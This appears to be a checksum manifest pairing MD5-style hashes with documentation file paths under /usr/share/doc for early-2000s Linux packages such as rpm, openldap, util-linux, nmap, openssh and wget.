/usr/share/doc/authconfig-4.1.19/NOTES +ee3f49d2c50aeacc6ffd7a66f458247d /usr/share/doc/authconfig-4.1.19/TODO +13474d82c83400514932b789686db3a7 /usr/share/doc/cyrus-sasl-1.5.24/gssapi.html +0dda8c39daabc6af0e88b4b84a720fe7 /usr/share/doc/cyrus-sasl-1.5.24/AUTHORS +4ab6b0bc96e19c65bc0a218ff2c9921c /usr/share/doc/cyrus-sasl-1.5.24/COPYING +3d800780891086b0e10f08da7a8eb9ae /usr/share/doc/cyrus-sasl-1.5.24/NEWS +69a4b9a41765e93e7add6927df3dddae /usr/share/doc/cyrus-sasl-1.5.24/README +02f21bc026627e4b14e6876e7b5b97f4 /usr/share/doc/cyrus-sasl-1.5.24/TODO +880ffdc4c56d03fa8857339a9b98c99a /usr/share/doc/cyrus-sasl-1.5.24/programming.html +751d47536878cfeb67deadfbcd5a43ad /usr/share/doc/cyrus-sasl-1.5.24/index.html +4d2de4220a36a0aa17dd8a0840c978dc /usr/share/doc/cyrus-sasl-1.5.24/draft-leach-digest-sasl-05.txt +3f7f15feef2e4f15df2de6f9d41fe54f /usr/share/doc/cyrus-sasl-1.5.24/draft-newman-auth-scram-03.txt +23154135320ae0e2f2a785925cb50dfb /usr/share/doc/cyrus-sasl-1.5.24/sysadmin.html +c6beb4140671d319f6433a3399cf6df2 /usr/share/doc/cyrus-sasl-1.5.24/rfc1321.txt +139434c3e50e59cf6eb559c7ae587c99 /usr/share/doc/cyrus-sasl-1.5.24/rfc2095.txt +d108e0788d01554ad3d1cd49558b2d20 /usr/share/doc/cyrus-sasl-1.5.24/rfc2104.txt +a692a183140d0c2aff620b959f0f56ed /usr/share/doc/cyrus-sasl-1.5.24/rfc2222.txt +a1ec4f21a9c79e64ccd5770f764d07e4 /usr/share/doc/cyrus-sasl-1.5.24/rfc2245.txt +b4768f22b1aa4804794c2bde11f3ea30 /usr/share/doc/kudzu-0.99.23/README +614df44d9dcc9261bd2c2f436bdd1ab9 /usr/share/doc/kudzu-0.99.23/hwconf-description +50679b926a428e8bd3e5ad376bd0bb86 /usr/share/doc/sh-utils-2.0.11/NEWS +456317674ee88185d27d7447ab5c0a27 /usr/share/doc/sh-utils-2.0.11/README +79a8a518d9b06cff5f67150e1fe7d572 /usr/share/doc/openldap-2.0.11/rfc/rfc1274.txt +0b1c2927660eeb0a70287bf1d792cc63 /usr/share/doc/openldap-2.0.11/rfc/INDEX +c11346a3c9e241d8786c0ba68610034f /usr/share/doc/openldap-2.0.11/rfc/rfc1279.txt +f72320fbe1c474f7dff3e00ed697b817 /usr/share/doc/openldap-2.0.11/rfc/rfc1308.txt +6fad65b9fe1322d332dde4c9cb86336c /usr/share/doc/openldap-2.0.11/rfc/rfc1309.txt +029b2d1890d5933e178f21e3dcd3c28f /usr/share/doc/openldap-2.0.11/rfc/rfc1617.txt +1d4bbf8dcbaa1c23352d326a93baf3be /usr/share/doc/openldap-2.0.11/rfc/rfc1823.txt +d788ffb0f8c21198086019a976d94bf4 /usr/share/doc/openldap-2.0.11/rfc/rfc2079.txt +22d7abfbc1e30e77b90f3172906b3bfb /usr/share/doc/openldap-2.0.11/rfc/rfc2218.txt +a692a183140d0c2aff620b959f0f56ed /usr/share/doc/openldap-2.0.11/rfc/rfc2222.txt +a65282977549384d565dbc74b0b4b078 /usr/share/doc/openldap-2.0.11/rfc/rfc2247.txt +f03ec15d34a19e003d647e075719fa9d /usr/share/doc/openldap-2.0.11/rfc/rfc2251.txt +c4421449d1c45201590939dce1e1fff2 /usr/share/doc/openldap-2.0.11/rfc/rfc2252.txt +a8e910b09b6b1b9056c92ff5430e517a /usr/share/doc/openldap-2.0.11/rfc/rfc2253.txt +a2e1cab26eed6c987664138c472a17e8 /usr/share/doc/openldap-2.0.11/rfc/rfc2254.txt +0d34310da8e8a3320cb6905d4d6b54d9 /usr/share/doc/openldap-2.0.11/rfc/rfc2255.txt +ecbd3d5cb5f28581a7b61ff4cd071672 /usr/share/doc/openldap-2.0.11/rfc/rfc2256.txt +11c2eb0a3d402e54db60cd1b4790dd8d /usr/share/doc/openldap-2.0.11/rfc/rfc2279.txt +8794ca54a08d0ca9a66b18f5f2abd59b /usr/share/doc/openldap-2.0.11/rfc/rfc2307.txt +12aef23bbac5eacdcd473614abf9a1d1 /usr/share/doc/openldap-2.0.11/rfc/rfc2377.txt +b3a91fb7cbc3626aa569af8392cd0362 /usr/share/doc/openldap-2.0.11/rfc/rfc2596.txt +9b48d53198e061bbcc77c7eca020e79e /usr/share/doc/openldap-2.0.11/rfc/rfc2696.txt +47cd84c83121d7e86c08d2cb1c74fd28 /usr/share/doc/openldap-2.0.11/rfc/rfc2713.txt +0ba21b33d106d600a98dd1195e07a64f /usr/share/doc/openldap-2.0.11/rfc/rfc2714.txt +3dbfd3b0b1e9b59f27d511745ead0aae /usr/share/doc/openldap-2.0.11/rfc/rfc2798.txt +a57c594a166cb83d616c6eef614cb9a0 /usr/share/doc/openldap-2.0.11/rfc/rfc2828.txt +362f5c67bbcfe11d43be2f2ab8c39dc2 /usr/share/doc/openldap-2.0.11/rfc/rfc2829.txt +e84837930c295630133fa1c02a21028d /usr/share/doc/openldap-2.0.11/rfc/rfc2830.txt +43aefd048a18d9f537f8f1855443b899 /usr/share/doc/openldap-2.0.11/rfc/rfc2831.txt +060db71dc80184d3506487e1dd4c8e6a /usr/share/doc/openldap-2.0.11/rfc/rfc2849.txt +86230a78c7a4e495035c377d2266bd6e /usr/share/doc/openldap-2.0.11/rfc/rfc2891.txt +1f0ca2797433f6a4410cfe08990ff590 /usr/share/doc/openldap-2.0.11/rfc/rfc3062.txt +1f0d7801b5795eb37f0ddda42f8bf2fd /usr/share/doc/openldap-2.0.11/rfc/rfc3088.txt +736d4bb77e6fa91d61c6751b11595e27 /usr/share/doc/openldap-2.0.11/ANNOUNCEMENT +8480b443a399bc3780796316e33e145f /usr/share/doc/openldap-2.0.11/CHANGES +79854831e411296fea12310bd13ce2b7 /usr/share/doc/openldap-2.0.11/COPYRIGHT +fc7fddda1549349c93a439bb0e47cd24 /usr/share/doc/openldap-2.0.11/LICENSE +aeb4f737782ad5c4dbbfa76b46cfaca6 /usr/share/doc/openldap-2.0.11/README +f6fe718c0908dca55fda36212577f6f2 /usr/share/doc/SysVinit-2.78/Propaganda +c73786178011d305f7ecfc56219776bf /usr/share/doc/SysVinit-2.78/Install +9c60dd21a1e2344c9f435fe1c4ed0d61 /usr/share/doc/SysVinit-2.78/start-stop-daemon.c +0f9169a23191570a871f7b1047c25d99 /usr/share/doc/SysVinit-2.78/changelog +e0c634eb12b80760bfec731e02feffb9 /usr/share/doc/SysVinit-2.78/start-stop-daemon.README +cd7467df2578ba34f5dda81c1f7e71ca /usr/share/doc/SysVinit-2.78/sysvinit-2.78.lsm +57c6fdfa0c13713c8bcbdf28129ec2dd /usr/share/doc/zlib-1.1.3/README +a0845668215f8119de0eb56769a7a2a9 /usr/share/doc/rpm-4.0.3/Makefile +8da4fbf47158c663be9e6b0e91a9ebca /usr/share/doc/rpm-4.0.3/CHANGES +9e02d217df39743507285c9f89ac451f /usr/share/doc/rpm-4.0.3/GROUPS +f145482cb90f17b9ce4c50dc8e799cfa /usr/share/doc/rpm-4.0.3/builddependencies +ac677fa4805551cc63c8bc4a5f102b3c /usr/share/doc/rpm-4.0.3/Makefile.am +1014795e207d1a5cd7b068f3780e8615 /usr/share/doc/rpm-4.0.3/Makefile.in +62ff7aa8687cca3aff0c350e53d2372a /usr/share/doc/rpm-4.0.3/RPM-GPG-KEY +d86d23c69cb9aa630b6cc527f310013c /usr/share/doc/rpm-4.0.3/RPM-PGP-KEY +48c097d3024e75257cbd6b56795a0591 /usr/share/doc/rpm-4.0.3/conditionalbuilds +025536bb5344f112ce72d96f10161f7f /usr/share/doc/rpm-4.0.3/buildroot +2b0443d8cf77ab220e0a43f49b3ee021 /usr/share/doc/rpm-4.0.3/dependencies +07ef9af1c30234863056e2f2b489ed5a /usr/share/doc/rpm-4.0.3/format +47f76bf29059285d6d7e13b44443907d /usr/share/doc/rpm-4.0.3/hregions +6512775d6c7add4dcee82b1fb5488a17 /usr/share/doc/rpm-4.0.3/macros +1e6331a18ecbac1d8ed6d1ae913190e2 /usr/share/doc/rpm-4.0.3/multiplebuilds +dfed65f04e3a8230bddbda4b9e08b38e /usr/share/doc/rpm-4.0.3/queryformat +322bbba4efbdf80428d1df907da92e34 /usr/share/doc/rpm-4.0.3/relocatable +cf0378292307f94b565dc4be1c2a494a /usr/share/doc/rpm-4.0.3/rollbacks +6b538cba40d1816d5ca26acf541896cd /usr/share/doc/rpm-4.0.3/signatures +1c498615b0784060c54ba0185d5ea78a /usr/share/doc/rpm-4.0.3/spec +854e5d68af3ce6de4d8be45d6024d86b /usr/share/doc/rpm-4.0.3/triggers +83bedd05f57ed8cf60bb18bfb95f5c5a /usr/share/doc/rpm-4.0.3/tsort +fd83950a7239c4711bbc0b468393c949 /usr/share/doc/util-linux-2.11f/README.bootutils-0.1 +0facd6d4d0ff07a7d7ad461cd4742eba /usr/share/doc/util-linux-2.11f/README.admutil +82681219e0e7bd794e9f6349f8ea41c9 /usr/share/doc/util-linux-2.11f/README.aeb +79a3e122af882cee336265b8e38e5bec /usr/share/doc/util-linux-2.11f/README.cfdisk +95472b712ab1608f576d39161d8fa279 /usr/share/doc/util-linux-2.11f/README.cal +d5e4b1ef49445912ce853a81a87c8e32 /usr/share/doc/util-linux-2.11f/README.shhopt-1.1 +8ffdf55a5a2f5b5390a22ce1ed9436ad /usr/share/doc/util-linux-2.11f/README.clear +cda2a9f34d3765ab758ef242bd3d5d70 /usr/share/doc/util-linux-2.11f/README.col +6625e76ebe71f49e72222c3bd2d30a26 /usr/share/doc/util-linux-2.11f/README.fdisk +0cfc45665eb563bd5260f17ef77c870b /usr/share/doc/util-linux-2.11f/README.getty +af1f8a52b83c1a20cdd959302cdc97ea /usr/share/doc/util-linux-2.11f/README.hwclock +b4506a6b8f10944eb8d223b2b710d3e5 /usr/share/doc/util-linux-2.11f/README.mount +7681527a8d5416b757840115bf316de2 /usr/share/doc/util-linux-2.11f/README.namei +dca86bb4c3c94e708dfec65a1903c163 /usr/share/doc/util-linux-2.11f/README.modems-with-agetty +e37608712aee543c7a06b02f666de65a /usr/share/doc/util-linux-2.11f/README.poeigl +d0f04f3cf1b41e62aa269eec2267dcb6 /usr/share/doc/util-linux-2.11f/README.reset +9e94a4305fafcc08c9afe9a4df6c6058 /usr/share/doc/util-linux-2.11f/README.script +4b2ddde637692b5e58c18e08a9446b50 /usr/share/doc/util-linux-2.11f/README.widechar +7bca8af88823850a71cce9517a1c9ca7 /usr/share/doc/util-linux-2.11f/sfdisk.examples +08282904c638517f827c2696c705273a /usr/share/doc/initscripts-6.40/ipv6-6to4.howto +9394a8fcfaa130f256581d85704fd5f7 /usr/share/doc/initscripts-6.40/ChangeLog +7d87f003418763a5ccbf1da229fa1787 /usr/share/doc/initscripts-6.40/ipv6-tunnel.howto +0353ce134714c1dba1a8a53013a98b63 /usr/share/doc/initscripts-6.40/static-routes-ipv6 +0768dccc4ccc3b98b7092bd63047f470 /usr/share/doc/initscripts-6.40/sysconfig.txt +d8aab00539db5f86a0c415f741974666 /usr/share/doc/initscripts-6.40/sysvinitfiles +3c05a1e8776a76cb6a9aa78487bb19bf /usr/share/doc/apmd-3.0final/README.transfer +b8c87b33147a7f9495690f15b97ba595 /usr/share/doc/apmd-3.0final/ANNOUNCE +0136d7ab5e416c7d491a3db283c1a3ee /usr/share/doc/apmd-3.0final/ChangeLog +961a239a581fd2ea91a5bcb388be4764 /usr/share/doc/apmd-3.0final/LSM +658b9799dd744b92571425a5f8290581 /usr/share/doc/apmd-3.0final/README +d99c72ad08d757b94a80c4aa1deac804 /usr/share/doc/ipchains-1.3.10/HOWTO-1.html +8ca43cbc842c2336e835926c2166c28b /usr/share/doc/ipchains-1.3.10/COPYING +600a548dc0b217778a899f03f0d8d265 /usr/share/doc/ipchains-1.3.10/ipchains-quickref.ps +0c4b7bfb419a3306ac76ff722d1822f4 /usr/share/doc/ipchains-1.3.10/HOWTO-10.html +435a17d09249285b19dd9c165129cbe6 /usr/share/doc/ipchains-1.3.10/HOWTO-2.html +c30f2c4b3a981b7313eb645b64a3d0c3 /usr/share/doc/ipchains-1.3.10/HOWTO-3.html +57e3fcd8d44614589b505942799b7895 /usr/share/doc/ipchains-1.3.10/HOWTO-4.html +ae20ca4429b54d93fcad928a6d3d6fd1 /usr/share/doc/ipchains-1.3.10/HOWTO-5.html +54e56c72fa4a02b1e453f426d55cf0d1 /usr/share/doc/ipchains-1.3.10/HOWTO-6.html +2488f748795265e99b925ab4b7817645 /usr/share/doc/ipchains-1.3.10/HOWTO-7.html +6558ac38589667a8730b7078c453e97a /usr/share/doc/ipchains-1.3.10/HOWTO-8.html +ac7916007632346ddebac6d18e60c846 /usr/share/doc/ipchains-1.3.10/HOWTO-9.html +af935071727065b5c419ce3e9de02de6 /usr/share/doc/ipchains-1.3.10/HOWTO.html +9b467c98bcd005c245960cc95b4f4fa2 /usr/share/doc/ipchains-1.3.10/HOWTO.sgml +e08f59d76e8f05e391c6723d3bc7378b /usr/share/doc/ipchains-1.3.10/HOWTO.txt +728d0710095d4901d2f12a1e6993d06e /usr/share/doc/ipchains-1.3.10/README +44b0868f2c36cef48ddc8ef7062f3f20 /usr/share/doc/lokkit-0.50/ChangeLog +ea78e86cd75f3f75ced2ecd9a0ad454b /usr/share/doc/lokkit-0.50/AUTHORS +35ef733879b2bab3ab6ab72c657e008d /usr/share/doc/lokkit-0.50/COPYING +eebda0e67b8800e3fe754bbfc5c17437 /usr/share/doc/lokkit-0.50/NEWS +88210c96e1e8dc7c5cd93f5698c8b359 /usr/share/doc/lokkit-0.50/README +399c11d9abe2589379595b405d8c1d6b /usr/share/doc/pciutils-2.1.8/pciutils.lsm +d5ec5fc27c9ec2d020ffa7dd6d3bdfc7 /usr/share/doc/pciutils-2.1.8/ChangeLog +7b7b2a9e29419a73f8fbe66cbc98af96 /usr/share/doc/pciutils-2.1.8/README +0636e73ff0215e8d672dc4c32c317bb3 /usr/share/doc/anacron-2.3/COPYING +f2319f150f9331d26bedeab2d9b8cb28 /usr/share/doc/anacron-2.3/README +9be211c1d1a542fb6f63ea56dcbfd50a /usr/share/doc/pspell-0.12.2/man-html/1_Introduction.html +459df94b3270a9eac6699482f9b8f87c /usr/share/doc/pspell-0.12.2/man-html/2_Getting.html +26a2770433cae8b9e961b52c53f0f8d0 /usr/share/doc/pspell-0.12.2/man-html/3_Keeping.html +7a1b97ccb6859ac4d2909aedff108bf3 /usr/share/doc/pspell-0.12.2/man-html/4_Library.html +0b0020e6c21e378c0f2c38ad52284229 /usr/share/doc/pspell-0.12.2/man-html/5_Status.html +0c45a1ba258c316ea57755ccf164e06b /usr/share/doc/pspell-0.12.2/man-html/6_Feedback.html +49e5ebfb378ead1c6ca65d98f7efe3e9 /usr/share/doc/pspell-0.12.2/man-html/7_Changelog.html +f80b9ac77158d0b8ec3c965ae62ee670 /usr/share/doc/pspell-0.12.2/man-html/8_Copyright.html +c62662b9498b0ab4f4fc4035c9cc53f4 /usr/share/doc/pspell-0.12.2/man-html/About_this.html +1a125e57459635fe2a4bb499cb763ae5 /usr/share/doc/pspell-0.12.2/man-html/Contents.html +dae943ab34099532093204563de601fe /usr/share/doc/pspell-0.12.2/man-html/contents.png +3e9f82658bb43f7033e028f5ed9cabb4 /usr/share/doc/pspell-0.12.2/man-html/index.html +d5d9022e4e91f5c51487b6dd987b4ae5 /usr/share/doc/pspell-0.12.2/man-html/manual.css +3e9f82658bb43f7033e028f5ed9cabb4 /usr/share/doc/pspell-0.12.2/man-html/manual.html +55a55b7ecbca37eee0c95800bdb588bb /usr/share/doc/pspell-0.12.2/man-html/next.png +73065c0aad0bc15cc1fbb7cb36ff2692 /usr/share/doc/pspell-0.12.2/man-html/next_g.png +b8e7094b02b1d67a49071d437044238b /usr/share/doc/pspell-0.12.2/man-html/prev.png +90157f6fbe6db7c436a642a1c593e1e6 /usr/share/doc/pspell-0.12.2/man-html/prev_g.png +cc743a5f1d28bc932517d75f3384dc5a /usr/share/doc/pspell-0.12.2/man-html/up.png +d8a4d29ef30068010a0e78045b0a4d9a /usr/share/doc/pspell-0.12.2/man-html/up_g.png +8f874dd234e4834a01aa52674dab6f00 /usr/share/doc/pspell-0.12.2/README +c580baac6a02f7b9f1566b60a685eb50 /usr/share/doc/pspell-0.12.2/man-text/1_Introduction.txt +8f874dd234e4834a01aa52674dab6f00 /usr/share/doc/pspell-0.12.2/man-text/2_Getting.txt +4a2f9ceaaefafdc2c296a7afd42a62c5 /usr/share/doc/pspell-0.12.2/man-text/3_Keeping.txt +c79fb95c578c431f2865595ac0249c78 /usr/share/doc/pspell-0.12.2/man-text/4_Library.txt +c429c5ae0e7761ea6c632d16c83719b9 /usr/share/doc/pspell-0.12.2/man-text/5_Status.txt +f12650cf3504efb201991490521b5568 /usr/share/doc/pspell-0.12.2/man-text/6_Feedback.txt +c3c587e3c04ff817558e3e698cb39690 /usr/share/doc/pspell-0.12.2/man-text/7_Changelog.txt +f5480cf2dde955c7b08393594426fb9d /usr/share/doc/pspell-0.12.2/man-text/8_Copyright.txt +40e31f50affb608b8a8fb3f109c3bb13 /usr/share/doc/pspell-0.12.2/man-text/About_this.txt +e360653097c4bacd08c5d74ebace5995 /usr/share/doc/pspell-0.12.2/man-text/Contents.txt +d9bdeadf7f42235ee874ec473126b464 /usr/share/doc/pspell-0.12.2/man-text/index.txt +d9bdeadf7f42235ee874ec473126b464 /usr/share/doc/pspell-0.12.2/man-text/manual.txt +25ae84a1cc0ed82d0dfca5601fb74bce /usr/share/doc/pspell-0.12.2/manual.dvi +c34bc1532920b9f472323cbf5774dd85 /usr/share/doc/pspell-0.12.2/manual.tex +a1a7c968aca8ee6b55f83cc40691af5c /usr/share/doc/xinetd-2.3.3/CHANGELOG +8ad8615198542444f84d28a6cf226dd8 /usr/share/doc/xinetd-2.3.3/COPYRIGHT +41377fc0b768dd611c022d95ce40b236 /usr/share/doc/xinetd-2.3.3/INSTALL +bd982f5aeb4dd3b7353f56cf7e38ccad /usr/share/doc/xinetd-2.3.3/README +6a2dc04d3799a443eea26b062575f88d /usr/share/doc/xinetd-2.3.3/sample.conf +23680ec1ea83ae39a0465db08e2e8cac /usr/share/doc/make-3.79.1/NEWS +e2ecb62e17ad1ac10fd7a3d374f296d9 /usr/share/doc/make-3.79.1/README +c6b84245d7a16af554c5dc6b9c065be4 /usr/share/doc/zip-2.3/WHATSNEW +a425bd63c927f081130ecc844db70903 /usr/share/doc/zip-2.3/BUGS +f9514f8b97563ee6dfd3caa9b851a2f6 /usr/share/doc/zip-2.3/CHANGES +7be0d10ddc595a72267d00704e731295 /usr/share/doc/zip-2.3/MANUAL +b6f0d59af01809ab6876a0b2e966e3c6 /usr/share/doc/zip-2.3/README +8f1525893e4fd27ed679360da121c29f /usr/share/doc/zip-2.3/TODO +e285aac330068ee6454248963788d4bd /usr/share/doc/zip-2.3/algorith.txt +abd24318b8a0de483a7ca7b70ee73abf /usr/share/doc/zip-2.3/WHERE +1fc2edd2e297e37e3cfeeae985493ed3 /usr/share/doc/gnupg-1.0.6/ChangeLog +3955b571135e307b65c4f5af94f978dd /usr/share/doc/gnupg-1.0.6/AUTHORS +f9d20a453221a1b7e32ae84694da2c37 /usr/share/doc/gnupg-1.0.6/COPYING +4e05acb3b30b6caa8721152f8369cce4 /usr/share/doc/gnupg-1.0.6/PROJECTS +bae73f33baa7af62e7e2403cf02d55c8 /usr/share/doc/gnupg-1.0.6/DETAILS +183ad865cd591d05703a5e0f01b214a2 /usr/share/doc/gnupg-1.0.6/FAQ +d900d43a80713ff8d91e42d6cd98b0df /usr/share/doc/gnupg-1.0.6/HACKING +8d9b7fd11359599157ef2e58ed848cb5 /usr/share/doc/gnupg-1.0.6/INSTALL +daf0748c95e70ff4b97487dac8e955f6 /usr/share/doc/gnupg-1.0.6/NEWS +c13669024032c76697eacce472412b59 /usr/share/doc/gnupg-1.0.6/OPTIONS +de0edf500ae86576095b0d9808be6f48 /usr/share/doc/gnupg-1.0.6/OpenPGP +26d5c6f086066b0fcd35cb6a75afcd35 /usr/share/doc/gnupg-1.0.6/faq.html +664f58d7247720929df2b942381e3126 /usr/share/doc/gnupg-1.0.6/README +e7ef47ccdf7e12b17135b19360c4f2b1 /usr/share/doc/gnupg-1.0.6/THANKS +0d56b750cacaed1020b912c38452a8a8 /usr/share/doc/gnupg-1.0.6/TODO +43f28c1834c74d31166ee0e7788dbda7 /usr/share/doc/gnupg-1.0.6/pubring.asc +09bae93d46b27c2686969d24cbb554be /usr/share/doc/ncftp-3.0.3/WHATSNEW-3.0 +e28b1825e5b8702e0f466ad87a70f086 /usr/share/doc/ncftp-3.0.3/README +386c8bfd5c0c69572c1f77b64291c0d1 /usr/share/doc/ncftp-3.0.3/FIREWALL-PROXY-README +ec9a86de60b482bfe830323018a071f5 /usr/share/doc/ncftp-3.0.3/LICENSE.txt +a0d8d2e179f9246b25e195d614a74d43 /usr/share/doc/ncftp-3.0.3/READLINE-README +5a245531776d70779370db358e0f3fd1 /usr/share/doc/ncftp-3.0.3/doc/html/ncftpbatch.html +9abb61aca7f8aa03152039859341fe56 /usr/share/doc/ncftp-3.0.3/doc/html/index.html +539f0a80ffbdd4b944a9212dc7723ff7 /usr/share/doc/ncftp-3.0.3/doc/html/ncftp.html +476074e42974bd5edaa43975f85879da /usr/share/doc/ncftp-3.0.3/doc/html/ncftpget.html +2d84153acee15b237ac68721f60cfb8b /usr/share/doc/ncftp-3.0.3/doc/html/ncftpls.html +efc155bf0d5f4bbdee822afa59e52110 /usr/share/doc/ncftp-3.0.3/doc/html/ncftpput.html +0286eee74323201d0aff881dbb8f743c /usr/share/doc/ncftp-3.0.3/doc/man/ncftpbatch.1 +d433791130d3e2705ad77634ab1be44f /usr/share/doc/ncftp-3.0.3/doc/man/ncftp.1 +df376bf85a4aa5f7504d841f3d22fa3f /usr/share/doc/ncftp-3.0.3/doc/man/ncftpget.1 +3a1a64a859357d5f06dcd05cb56c4ccd /usr/share/doc/ncftp-3.0.3/doc/man/ncftpls.1 +d9bd670a89ec675bbd12e415a6a2b79b /usr/share/doc/ncftp-3.0.3/doc/man/ncftpput.1 +d20803bb34afbf44ddc7d28f04574dcd /usr/share/doc/ncftp-3.0.3/doc/manifest.txt +ccb10e3c2878954b2d021e180e30e577 /usr/share/doc/ncftp-3.0.3/doc/manifest +9d18c995c36acbfd340e3c7264063b76 /usr/share/doc/ncftp-3.0.3/doc/readme_ncftpget_windows.txt +1ec095c3b1e75007fbce75aa058066be /usr/share/doc/ncftp-3.0.3/doc/readme_windows.txt +ce6e256f2031803ac8dfa739af76ab37 /usr/share/doc/nmap-2.54BETA22/copying.html +911479c18e882b6de55a2493c82245d1 /usr/share/doc/nmap-2.54BETA22/COPYING +92c9ec984205dd82b7529a7cc0bc2972 /usr/share/doc/nmap-2.54BETA22/README +033fe8ff3d25ce4e59ac2b991a4d1a8d /usr/share/doc/nmap-2.54BETA22/nmap-fingerprinting-article.txt +3fadf37128e8c035d87fa053a5b281bd /usr/share/doc/nmap-2.54BETA22/nmap.deprecated.txt +e47d3b8e8b8141f8c6c481993452530f /usr/share/doc/nmap-2.54BETA22/nmap.usage.txt +9df6403242630c628333602d107cc8fd /usr/share/doc/nmap-2.54BETA22/nmap_doc.html +71e345ef6019819ae203e74b4f7d2d69 /usr/share/doc/nmap-2.54BETA22/nmap_manpage.html +6423acef356c047fbc96423a7b5e2dc0 /usr/share/doc/openssh-2.9p2/ChangeLog +fbee0d032c43175262bef2d5ffb17c1e /usr/share/doc/openssh-2.9p2/CREDITS +5def77be758d9e4aa2390c3825ed7cb2 /usr/share/doc/openssh-2.9p2/OVERVIEW +2367cd769b471c2ec45debb04ffe3339 /usr/share/doc/openssh-2.9p2/INSTALL +7bd49415086c1fe6cde1fac44ec165fa /usr/share/doc/openssh-2.9p2/LICENCE +ae0291c01ba1ee2e3a49c1aa50e06385 /usr/share/doc/openssh-2.9p2/RFC.nroff +e9a8bffc31f98de0eb80e75acccfa4e4 /usr/share/doc/openssh-2.9p2/README +fd10c54ed9c1bb22a955c2893df5ac5d /usr/share/doc/openssh-2.9p2/WARNING.RNG +8e338d40f41fdec9343209611bbe080c /usr/share/doc/openssh-2.9p2/TODO +acaa88323dfeb1af708547604b0bc43c /usr/share/doc/pidentd-3.0.14/ChangeLog +1490813aca1e212af3eac1319805dbc7 /usr/share/doc/pidentd-3.0.14/BUGS +6d518a1daa9cb44930ac7bc6a7606dd8 /usr/share/doc/pidentd-3.0.14/INSTALL +928639fff9f0885dfbe591dbf9490917 /usr/share/doc/pidentd-3.0.14/FAQ +ced71cd04dc21eda2d2a071d1af8b255 /usr/share/doc/pidentd-3.0.14/rfc1413.txt +c341998232edf805d2d7ffbb7aee4e49 /usr/share/doc/pidentd-3.0.14/README +83ef682ce3536d14d70d9efc5a949638 /usr/share/doc/pidentd-3.0.14/Y2K +8ca43cbc842c2336e835926c2166c28b /usr/share/doc/stunnel-3.19/COPYRIGHT.GPL +900e712704ba9f54ae29eca8b95cef29 /usr/share/doc/stunnel-3.19/BUGS +67c4d36227b6906155f224de40163453 /usr/share/doc/stunnel-3.19/COPYING +68aa1d53089c90485aebda32fdddddbb /usr/share/doc/stunnel-3.19/HISTORY +e178b9a392f0733f3367a62e1825a833 /usr/share/doc/stunnel-3.19/FAQ +20f839f7a71ccab144a2359f052a58b7 /usr/share/doc/stunnel-3.19/COPYRIGHT.SSLeay +116204270adfb58aab5e4837e1cd34f3 /usr/share/doc/stunnel-3.19/stunnel.html +10b4b8593b141b865e5ce0f410225b69 /usr/share/doc/stunnel-3.19/PORTS +2c8d02945962c6f98f399f706ad45b59 /usr/share/doc/stunnel-3.19/README +4414c59d2e133b28d5bd86c62e6def61 /usr/share/doc/stunnel-3.19/TODO +03f55156b757fb848cd431df8c8bb109 /usr/share/doc/wget-1.7/MAILING-LIST +b914a022e772b02514c017fdbd99a3f5 /usr/share/doc/wget-1.7/AUTHORS +764c22cba0d86f60bd095c8eb78e8f05 /usr/share/doc/wget-1.7/README.cvs +c47bd2204953eb8c6ba07fc83ea4ca3e /usr/share/doc/wget-1.7/NEWS +05a6fde5add3fb189a469384dbc4a91f /usr/share/doc/wget-1.7/PATCHES +286b21122555d0320b87ada3c894e306 /usr/share/doc/wget-1.7/README +c4b9064196ee17b3793a1f1dfa9db023 /usr/share/doc/wget-1.7/TODO +43baf826f821f16e57822b76faf2246a /usr/share/doc/links-0.96/manual-0.82-en/links-appendix.html +fbc7134cef9b110fe8846e536d16b1bc /usr/share/doc/links-0.96/manual-0.82-en/index.html +29fc3363baa7500739fbc814365f3334 /usr/share/doc/links-0.96/manual-0.82-en/links-appendix-default-linkscfg.txt +d519b80128bd66e0eb727b4bb577e9e3 /usr/share/doc/links-0.96/manual-0.82-en/links-appendix-bash-script.txt +422c3e457c207b734d95f9c6369cead4 /usr/share/doc/links-0.96/manual-0.82-en/links-appendix-mime-types.txt +8954c9d7b35c7b1486c740c43557c670 /usr/share/doc/links-0.96/manual-0.82-en/links-appendix-startpage.html +9deabd79e53baa656fd28f36b0d87370 /usr/share/doc/links-0.96/manual-0.82-en/links-configure-charset.html +b29152c00431c83487a1e400a2b78534 /usr/share/doc/links-0.96/manual-0.82-en/links-configure-colour.html +44702171005ec52cf411f1c033e4a2ae /usr/share/doc/links-0.96/manual-0.82-en/links-configure-extns.html +85f438476c9115bde401dcc0ac06b8f1 /usr/share/doc/links-0.96/manual-0.82-en/links-configure-file.html +24f650bba45364cfcc7abf57a1280e44 /usr/share/doc/links-0.96/manual-0.82-en/links-configure-other.html +00a27af0fca460b6c32ea50f390187eb /usr/share/doc/links-0.96/manual-0.82-en/links-configure.html +48a7368c49aac27b554b47a3fd73890b /usr/share/doc/links-0.96/manual-0.82-en/links-copying.html +252b7920c43af93815d9d044c3a3fb78 /usr/share/doc/links-0.96/manual-0.82-en/links-custom-extapps.html +e7f1d33be750bcb43a51812946629cac /usr/share/doc/links-0.96/manual-0.82-en/links-custom-font.html +b5c734c75c33f556497593dcbd8d883b /usr/share/doc/links-0.96/manual-0.82-en/links-custom-links+viewer.html +32161a11da91e622145255cb598404c9 /usr/share/doc/links-0.96/manual-0.82-en/links-custom-plugin.html +f6eb04c09779b09e2f3e6d6c76e21b96 /usr/share/doc/links-0.96/manual-0.82-en/links-custom.html +72037dfe0f795f19a2b1f5e90b041356 /usr/share/doc/links-0.96/manual-0.82-en/links-overview.html +fde8aa6eaffc1d43f1f96a8a458903f1 /usr/share/doc/links-0.96/manual-0.82-en/links-usage-keystrokes.html +fa07423d23969feacf550dc74a1a5d91 /usr/share/doc/links-0.96/manual-0.82-en/links-usage-menu.html +e71bf31a76d7e35d873dce3b79e9fa26 /usr/share/doc/links-0.96/manual-0.82-en/links-usage-mouse.html +956151a14f1e426df024b460f2a4d58e /usr/share/doc/links-0.96/manual-0.82-en/links-usage-start.html +bfbc3648d5c8d13e51583b8bd3120cb5 /usr/share/doc/links-0.96/manual-0.82-en/links-usage.html +5a039cd4befb34226aa8d43489066779 /usr/share/doc/links-0.96/README +678a85c9a21f26c05124885933bb9825 /usr/share/doc/links-0.96/SITES +740dc27969ca5e512952df20019f51e1 /usr/share/doc/links-0.96/TODO +17f3816534c0f244034f6ddfdd67912f /usr/share/doc/sysstat-4.0.1/CHANGES +8ca43cbc842c2336e835926c2166c28b /usr/share/doc/sysstat-4.0.1/COPYING +969104309f66eabe8fbd05c5af15deb6 /usr/share/doc/sysstat-4.0.1/CREDITS 